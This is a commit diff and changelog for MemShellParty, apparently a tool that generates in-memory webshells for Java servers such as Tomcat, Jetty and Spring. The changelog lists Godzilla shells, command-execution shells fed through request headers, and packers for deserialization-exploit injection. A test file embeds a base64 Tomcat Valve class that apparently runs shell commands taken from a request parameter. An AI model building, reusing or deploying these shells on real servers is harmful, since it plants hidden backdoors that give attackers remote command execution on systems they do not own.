Compare commits

..
47 Commits
Author SHA1 Message Date
ReaJason fac0748055 chore: 2.2.0 2025-11-20 02:27:20 +08:00
ReaJason 1926259fab docs: update CHANGELOG 2025-11-20 02:04:27 +08:00
ReaJason bebd374737 fix: build error 2025-11-20 00:43:03 +08:00
ReaJason 6b1a569be9 feat: support AbstractTranslet packer 2025-11-20 00:36:25 +08:00
ReaJason bd308fae10 chore: rm useless options 2025-11-20 00:36:25 +08:00
ReaJason 05729fc458 docs: update CHANGELOG 2025-11-20 00:36:25 +08:00
ReaJason 59fd17355b feat: support scriptEngineJar packer 2025-11-20 00:36:25 +08:00
ReaJason 5e8529a0c7 test: fix failed cases 2025-11-20 00:36:25 +08:00
ReaJason f0526eeb28 feat: support script engine probe 2025-11-20 00:36:25 +08:00
ReaJason fab623ac4f feat: support probe get payload from header by default 2025-11-20 00:36:25 +08:00
ReaJason e9a0eb61d9 build: rm useless dep 2025-11-20 00:36:25 +08:00
ReaJason 4f86572192 feat: support command shell get cmd from header 2025-11-20 00:36:25 +08:00
ReaJason 2216aafcad chore: upgrade deps 2025-11-20 00:36:25 +08:00
ReaJason 39b09cecb1 test: fix failed cases 2025-11-20 00:36:25 +08:00
ReaJason 9be935694c feat: injector support print some msg 2025-11-20 00:36:25 +08:00
ReaJason 8d68e18a23 test: add jetty ee11 Dockerfile 2025-11-20 00:36:25 +08:00
ReaJason 29207c1b53 test: add some cve docker-compose 2025-11-20 00:36:25 +08:00
ReaJason 8c77a4049b feat: support staticInitialize 2025-11-20 00:36:25 +08:00
ReaJason 1cf3c58b7b fix: wildfly 36 fetch pid error 2025-11-20 00:36:25 +08:00
ReaJason 05892d4b8b test: add bigInterger for expression vul 2025-11-20 00:36:25 +08:00
ReaJason 4be54c0ecb build: simplify dependencies move 2025-11-20 00:36:25 +08:00
ReaJason 5a614e3b39 feat: support spring response body writer 2025-11-20 00:36:25 +08:00
ReaJason 34e1e53b67 test: remove some packer test to speedup 2025-11-20 00:36:25 +08:00
ReaJason 13097cec99 test: add static block self constructor testcase 2025-11-20 00:36:25 +08:00
ReaJason b4af77ddb2 chore: upgrade spring boot 3.5.3 to 3.5.7 2025-11-20 00:36:25 +08:00
ReaJason 245ec99839 feat: support parse custom shell className 2025-11-20 00:36:25 +08:00
ReaJason 81926b0a78 chore: change no field exception msg 2025-11-20 00:36:25 +08:00
ReaJason 6ccd139444 perf: remove session for godzilla 2025-11-20 00:36:25 +08:00
ReaJason fd1a560aa2 build: react-hook-form build failed 2025-11-20 00:36:25 +08:00
ReaJason 55f676553c build: openjdk docker image not found 2025-11-20 00:36:25 +08:00
ReaJason 26b4f48e98 refactor: simplify code 2025-11-20 00:36:25 +08:00
ReaJason 131222cf29 feat(web): support download button for some packers 2025-11-20 00:36:25 +08:00
ReaJason 7b390b7773 fix: proxyValve cause service exception 2025-11-20 00:36:25 +08:00
ReaJason f8696dada5 fix: custom shell generate failed 2025-11-20 00:36:25 +08:00
ReaJason 0e0307fb97 fix: rm debug print 2025-11-20 00:36:25 +08:00
ReaJason 798e447ab6 fix: custom shell classname use itself 2025-11-20 00:36:25 +08:00
ReaJason c495ef46a4 fix(ui): shellTool not changed when trigger init 2025-11-20 00:36:25 +08:00
ReaJason 69ef9ab230 ci: dev build test 2025-11-20 00:36:25 +08:00
ReaJason d6ef24b878 test: add generate controller test case 2025-11-20 00:36:25 +08:00
ReaJason d06f238e2f fix: serialize failed 2025-11-20 00:36:25 +08:00
ReaJason 12d2a191b2 test: add docker compose cases 2025-11-20 00:36:25 +08:00
ReaJason 86b31b193d fix: custom listener shell generate failed 2025-11-20 00:36:25 +08:00
ReaJason beb22b3ab1 chore: version 2.2.0-SNAPSHOT 2025-11-20 00:36:25 +08:00
ReaJason d0acb7712a test: support bypass CSRF 2025-11-20 00:36:25 +08:00
ReaJason e7c69befe8 feat: support Apusic 9.0.1 2025-11-20 00:36:25 +08:00
ReaJason 4134c7233b fix: custom shell NPE 2025-11-20 00:36:25 +08:00
ReaJason d179ceada7 docs: update CHANGELOG 2025-09-13 09:12:02 +08:00
278 changed files with 5159 additions and 1747 deletions
+1 -1
View File
@@ -35,7 +35,7 @@ jobs:
run: bun install --frozen-lockfile && bun run build run: bun install --frozen-lockfile && bun run build
- name: Build Boot with Gradle - name: Build Boot with Gradle
run: ./gradlew :boot:bootjar -x test run: ./gradlew :boot:test :boot:bootjar
- name: Upload Boot Jar - name: Upload Boot Jar
uses: actions/upload-artifact@v4 uses: actions/upload-artifact@v4
+31 -1
View File
@@ -5,6 +5,35 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [v2.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.2.0) - 2025-11-20
### Added
1. 内存马注入器支持接入回显 toString 打印 contextPath 等注入成功或错误信息(By @ReaJason
2. boot 新增通过字节码 base64 获取类名接口,并支持自定义内存马使用随机类名或原始类名
3. 适配 Apusic 9.0.1 版本(金蝶 EAS Cloud
4. UI 在 JSP/Base64/序列化相关 payload 生成时添加下载按钮便于下载 JSP 文件/注入器 Class 文件/原始序列化文件
5. 支持注入器或回显马添加静态代码块执行构造方法调用,解决部分场景下无法手动调用构造方法
6. 支持 SpringWebMVC 回显马生成(#107
7. 添加 Jetty 12 中 ee11 的内存马注入支持和靶场测试用例
8. 支持 ScriptEngineJar 打包方式(SnakeYaml 漏洞注入,#109
9. 支持 AbstractTranslet 打包方式,方便 TemplatesImpl 反序列化漏洞注入
10. 支持脚本引擎执行回显马生成,方便调试
### Fixed
1. 修复自定义内存马生成报错(#102#106Thanks @love71 and @m0s30
2. 修复 Tomcat Valve 仅单个情况下注入 ProxyValve 导致站挂掉(#105 Thanks @love71
3. 默认哥斯拉内存马去除对 session 的依赖,解决部分场景下 session 为 null 导致无法连接
### Changed
1. 命令执行内存马和命令执行回显马支持从参数或请求头中获取命令参数
2. 调整靶场构建使用的 openjdk 改为 eclipse-temurin
3. 依赖更新
**Full Changelog:** [v2.1.0...v2.2.0](https://github.com/ReaJason/MemShellParty/compare/v2.1.0...v2.2.0)
## [v2.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.1.0) - 2025-08-12 ## [v2.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.1.0) - 2025-08-12
### Added ### Added
@@ -29,12 +58,13 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
3. 修复探测内存马中 Sleep 和 DNSLog 自定义类名失效(#89 Thanks @yinsel 3. 修复探测内存马中 Sleep 和 DNSLog 自定义类名失效(#89 Thanks @yinsel
4. 修复自定义内存马中,不会自动调用 listener 添加 getResponseFromRequest 实现代码和 valve 修改包名的逻辑(使用自定义内存马请参考:[如何使用自定义内存马功能](/docs/WriteCustomShell.md) 进行实现,否则会出现不可用的问题) 4. 修复自定义内存马中,不会自动调用 listener 添加 getResponseFromRequest 实现代码和 valve 修改包名的逻辑(使用自定义内存马请参考:[如何使用自定义内存马功能](/docs/WriteCustomShell.md) 进行实现,否则会出现不可用的问题)
5. 修复使用 SDK 时,Agent Packer 在 jar-with-dependencies(fatjar) 中会出现打包整个 jar 的问题 5. 修复使用 SDK 时,Agent Packer 在 jar-with-dependencies(fatjar) 中会出现打包整个 jar 的问题
6. 修复 Tomcat Listener 注入会使之前所有 Listener 失效(#93
### Changed ### Changed
1. 修改 Packer 中对于 Thread.currentThread().getContextClassLoader() 的纯依赖改为新建 URLClassLoader,使得回显马可多次执行 1. 修改 Packer 中对于 Thread.currentThread().getContextClassLoader() 的纯依赖改为新建 URLClassLoader,使得回显马可多次执行
2. 去除 logbackjava11)和 okhttp 无用依赖,解决使用 SDK 打包部分场景会出现类版本不支持的问题 2. 去除 logbackjava11)和 okhttp 无用依赖,解决使用 SDK 打包部分场景会出现类版本不支持的问题
3. 实现 @SuperBuilder 自定义 Builder 简化配置类的创建代码(#9f8f3baa) 3. 实现 Lombok SuperBuilder 自定义 Builder 简化配置类的创建代码(#9f8f3baa)
4. 优化命令执行内存马,改为和回显马逻辑一致,使用 ProcessBuilder.redirectErrorStream 简化流读取 4. 优化命令执行内存马,改为和回显马逻辑一致,使用 ProcessBuilder.redirectErrorStream 简化流读取
5. 修改 packer 中脚本存放添加 memshell-party 一级,防止打包成 fatjar 时文件全在根目录,可能会被覆盖导致功能破坏 5. 修改 packer 中脚本存放添加 memshell-party 一级,防止打包成 fatjar 时文件全在根目录,可能会被覆盖导致功能破坏
6. 优化资源读取,通过工具类 loadTemplateFromResource 统一实现 6. 优化资源读取,通过工具类 loadTemplateFromResource 统一实现
+1 -1
View File
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun # https://hub.docker.com/r/oven/bun
FROM --platform=$BUILDPLATFORM oven/bun:1.2.19 AS frontend FROM --platform=$BUILDPLATFORM oven/bun:1.3.2 AS frontend
ARG ROUTE_ROOT_PATH="/" ARG ROUTE_ROOT_PATH="/"
ARG CONTEXT_PATH="" ARG CONTEXT_PATH=""
+1 -2
View File
@@ -1,6 +1,6 @@
plugins { plugins {
id("java") id("java")
id("org.springframework.boot") version "3.5.3" id("org.springframework.boot") version "3.5.7"
id("io.spring.dependency-management") version "1.1.7" id("io.spring.dependency-management") version "1.1.7"
} }
@@ -23,7 +23,6 @@ configurations {
dependencies { dependencies {
implementation(project(":generator")) { implementation(project(":generator")) {
exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
exclude(group = "commons-logging", module = "commons-logging") exclude(group = "commons-logging", module = "commons-logging")
} }
implementation(project(":packer")) { implementation(project(":packer")) {
@@ -0,0 +1,24 @@
package com.reajason.javaweb.boot.controller;
import org.springframework.asm.ClassReader;
import org.springframework.cglib.core.ClassNameReader;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;
import java.util.Base64;
/**
* @author ReaJason
* @since 2025/11/10
*/
@RestController
@CrossOrigin("*")
public class ClassNameParseController {
@PostMapping("/className")
public String className(@RequestBody String classBase64) {
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
}
}
@@ -8,8 +8,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.AggregatePacker; import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.JarPacker;
import com.reajason.javaweb.packer.Packer; import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.jar.JarPacker;
import org.springframework.web.bind.annotation.*; import org.springframework.web.bind.annotation.*;
import java.util.Base64; import java.util.Base64;
@@ -29,12 +29,12 @@ public class MemShellGeneratorController {
InjectorConfig injectorConfig = request.getInjectorConfig(); InjectorConfig injectorConfig = request.getInjectorConfig();
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig); MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
Packer packer = request.getPacker().getInstance(); Packer packer = request.getPacker().getInstance();
if (packer instanceof AggregatePacker) {
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
}
if (packer instanceof JarPacker) { if (packer instanceof JarPacker) {
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig()))); return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
} else if (packer instanceof AggregatePacker) {
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
} else {
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
} }
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
} }
} }
@@ -2,9 +2,7 @@ package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.Data; import lombok.Data;
import org.apache.commons.lang3.StringUtils;
import static com.reajason.javaweb.memshell.ShellTool.*; import static com.reajason.javaweb.memshell.ShellTool.*;
@@ -20,7 +18,7 @@ public class MemShellGenerateRequest {
private Packers packer; private Packers packer;
@Data @Data
static class ShellToolConfigDTO { public static class ShellToolConfigDTO {
private String shellClassName; private String shellClassName;
private String godzillaPass; private String godzillaPass;
private String godzillaKey; private String godzillaKey;
@@ -21,7 +21,6 @@ public class ProbeShellGenerateRequest {
private String server; private String server;
private String sleepServer; private String sleepServer;
private String reqParamName; private String reqParamName;
private String reqHeaderName;
} }
public ProbeContentConfig parseProbeContentConfig() { public ProbeContentConfig parseProbeContentConfig() {
@@ -35,7 +34,6 @@ public class ProbeShellGenerateRequest {
.build(); .build();
case ResponseBody -> ResponseBodyConfig.builder() case ResponseBody -> ResponseBodyConfig.builder()
.reqParamName(probeContentConfig.reqParamName) .reqParamName(probeContentConfig.reqParamName)
.reqHeaderName(probeContentConfig.reqHeaderName)
.server(probeContentConfig.server) .server(probeContentConfig.server)
.build(); .build();
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod()); default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
@@ -0,0 +1,18 @@
package com.reajason.javaweb.boot.controller;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
/**
* @author ReaJason
* @since 2025/11/10
*/
class ClassNameParseControllerTest {
@Test
void test(){
ClassNameParseController classNameParseController = new ClassNameParseController();
String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
}
}
@@ -27,30 +27,21 @@ public class ConfigControllerIntegrationTest {
@Test @Test
public void testConfigEndpoint() { public void testConfigEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class); ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
Map body = response.getBody();
assertNotNull(body);
} }
@Test @Test
public void testConfigServersEndpoint() { public void testConfigServersEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class); ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
Map body = response.getBody();
assertNotNull(body);
} }
@Test @Test
public void testConfigPackersEndpoint() { public void testConfigPackersEndpoint() {
ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class); ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
List<String> body = response.getBody();
assertNotNull(body);
} }
} }
@@ -0,0 +1,58 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.web.client.TestRestTemplate;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
/**
* @author ReaJason
* @since 2025/9/16
*/
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class MemShellGeneratorControllerTest {
@Autowired
TestRestTemplate restTemplate;
@Test
void generateShell() {
MemShellGenerateRequest request = new MemShellGenerateRequest();
request.setShellConfig(ShellConfig.builder()
.server(Server.Tomcat)
.shellType(ShellType.FILTER)
.shellTool(ShellTool.Godzilla)
.shrink(true)
.debug(true)
.serverVersion("Unknown")
.targetJreVersion(50)
.build());
request.setInjectorConfig(InjectorConfig.builder()
.urlPattern("/*")
.build());
request.setPacker(Packers.ScriptEngine);
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
shellToolConfigDTO.setGodzillaKey("key");
shellToolConfigDTO.setGodzillaPass("pass");
shellToolConfigDTO.setHeaderName("User-Agent");
shellToolConfigDTO.setHeaderValue("hello");
request.setShellToolConfig(shellToolConfigDTO);
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
"/memshell/generate", request, MemShellGenerateResponse.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
}
+1 -1
View File
@@ -9,7 +9,7 @@ idea {
} }
} }
version = "2.1.0" version = "2.2.0"
tasks.register("publishAllToMavenCentral") { tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral") dependsOn(":memshell-party-common:publishToMavenCentral")
@@ -24,15 +24,6 @@ public class MemShellGenerator {
if (server == null) { if (server == null) {
throw new GenerationException("Unsupported server: " + serverName); throw new GenerationException("Unsupported server: " + serverName);
} }
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
}
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
}
Class<?> injectorClass = null; Class<?> injectorClass = null;
if (ShellTool.Custom.equals(shellConfig.getShellTool())) { if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
@@ -47,6 +38,14 @@ public class MemShellGenerator {
shellToolConfig.setShellClass(shellClass); shellToolConfig.setShellClass(shellClass);
} }
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
}
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
}
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig); byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
injectorConfig.setInjectorClass(injectorClass); injectorConfig.setInjectorClass(injectorClass);
@@ -46,4 +46,9 @@ public class InjectorConfig {
* 内存马类字节 * 内存马类字节
*/ */
private byte[] shellClassBytes; private byte[] shellClassBytes;
/**
* 添加静态代码块调用构造方法初始化
*/
private boolean staticInitialize;
} }
@@ -1,9 +1,11 @@
package com.reajason.javaweb.memshell.config; package com.reajason.javaweb.memshell.config;
import com.fasterxml.jackson.annotation.JsonIgnore;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import net.bytebuddy.description.type.TypeDescription;
/** /**
* @author ReaJason * @author ReaJason
@@ -19,6 +21,9 @@ public class ShellToolConfig {
*/ */
private Class<?> shellClass; private Class<?> shellClass;
@JsonIgnore
private transient TypeDescription shellTypeDescription;
/** /**
* shellClass 的类名 * shellClass 的类名
*/ */
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.ShellGenerator; import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -10,6 +11,7 @@ import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.memshell.server.AbstractServer;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
/** /**
@@ -29,15 +31,21 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
@Override @Override
public byte[] getBytes() { public byte[] getBytes() {
Class<?> shellClass = shellToolConfig.getShellClass();
String shellClassName = shellToolConfig.getShellClassName();
DynamicType.Builder<?> builder = getBuilder(); DynamicType.Builder<?> builder = getBuilder();
String shellClassName = shellToolConfig.getShellClassName();
Class<?> shellClass = shellToolConfig.getShellClass();
if (shellClass != null) {
shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass));
}
if (shellToolConfig.getShellTypeDescription() == null) {
throw new GenerationException("shellClass or shellTypeDescription could not be null.");
}
String shellType = shellConfig.getShellType(); String shellType = shellConfig.getShellType();
AbstractServer server = ServerFactory.getServer(shellConfig.getServer()); AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) { if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellClass, shellClassName); builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellToolConfig.getShellTypeDescription(), shellClassName);
} }
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) { if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
@@ -8,6 +8,7 @@ import net.bytebuddy.dynamic.ClassFileLocator;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.jar.asm.ClassReader; import net.bytebuddy.jar.asm.ClassReader;
import net.bytebuddy.pool.TypePool; import net.bytebuddy.pool.TypePool;
import org.apache.commons.lang3.StringUtils;
import java.util.Base64; import java.util.Base64;
@@ -27,12 +28,19 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64); byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
ClassReader classReader = new ClassReader(classBytes); ClassReader classReader = new ClassReader(classBytes);
String className = classReader.getClassName().replace('/', '.'); String className = classReader.getClassName().replace('/', '.');
ClassFileLocator classFileLocator = ClassFileLocator.Simple.of(className, classBytes); if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(className);
}
ClassFileLocator compoundLocator = new ClassFileLocator.Compound(
ClassFileLocator.Simple.of(className, classBytes),
ClassFileLocator.ForClassLoader.of(this.getClass().getClassLoader())
);
TypeDescription typeDescription = new TypePool.Default( TypeDescription typeDescription = new TypePool.Default(
new TypePool.CacheProvider.Simple(), classFileLocator, new TypePool.CacheProvider.Simple(), compoundLocator,
TypePool.Default.ReaderMode.FAST, TypePool.Default.ofSystemLoader() TypePool.Default.ReaderMode.FAST, TypePool.Default.ofSystemLoader()
).describe(className).resolve(); ).describe(className).resolve();
shellToolConfig.setShellTypeDescription(typeDescription);
return new ByteBuddy() return new ByteBuddy()
